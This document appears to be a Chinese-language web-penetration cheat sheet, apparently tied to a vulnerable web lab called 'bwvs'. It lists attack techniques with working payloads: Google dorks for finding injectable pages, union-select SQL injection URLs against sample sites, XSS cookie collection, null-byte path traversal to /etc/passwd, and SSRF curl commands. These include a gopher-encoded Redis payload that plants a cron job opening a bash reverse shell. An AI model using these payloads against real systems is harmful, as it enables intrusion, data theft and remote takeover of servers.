bwvs

sql注入

  • hack search 查找目标网站(inurl:"xxx.php?id=")
  • url后追加'单引号,看情况,判定是否存在注入

字符串型注入

  • 查看id=1 and 1=1 id=1 and 1=2结果一致,类型判定完毕
  • 判定col数,这里可以用工具或手动
    http://www.xxxx.org/news.php?id=10040%27%20union%20select%201,database(),3,4,5%27

数字型注入

  • 分别在url后追加id=1 and 1=1 id=1 and 1=2查看结果不一致,类型判定完毕
  • 判定col数,这里可以用工具或手动
    http://xx.xx.fr/game.php?id=135%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12

xss

反射型

  • 输入&#,看返回情况

存储型

  • 输入&#,看返回情况
  • 利用xss平台收集cookie信息

暴力破解

  • github找字典,上工具

命令执行

通过PHP的执行函数时,exec_shell,system

文件包含

通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验

文件截断

PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。

  • ../etc/passwd\0
  • ../etc/passwd%00

Session劫持

上传

SSRF漏洞

服务端请求伪造,不限制协议,可以介入任意协议

CURL本地利用

  • dict protocol (操作Redis)
    curl -vvv 'dict://127.0.0.1:6379/info'
  • file
    curl -vvv 'file:///etc/passwd'

远程利用

  • 利用file协议任意文件读取
    curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

  • 利用dict协议查看端口
    curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

  • 利用gopher协议反弹shell
    curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

协议(基本跟SSRF没差别)

php://input伪协议

php://filter伪协议

data://伪协议

phar://伪协议

弱类型

php

  • '1a' == '1' 为true
  • strcmp() php5.3后这函数如果比较成功则返回0.....

你可能感兴趣的:(bwvs)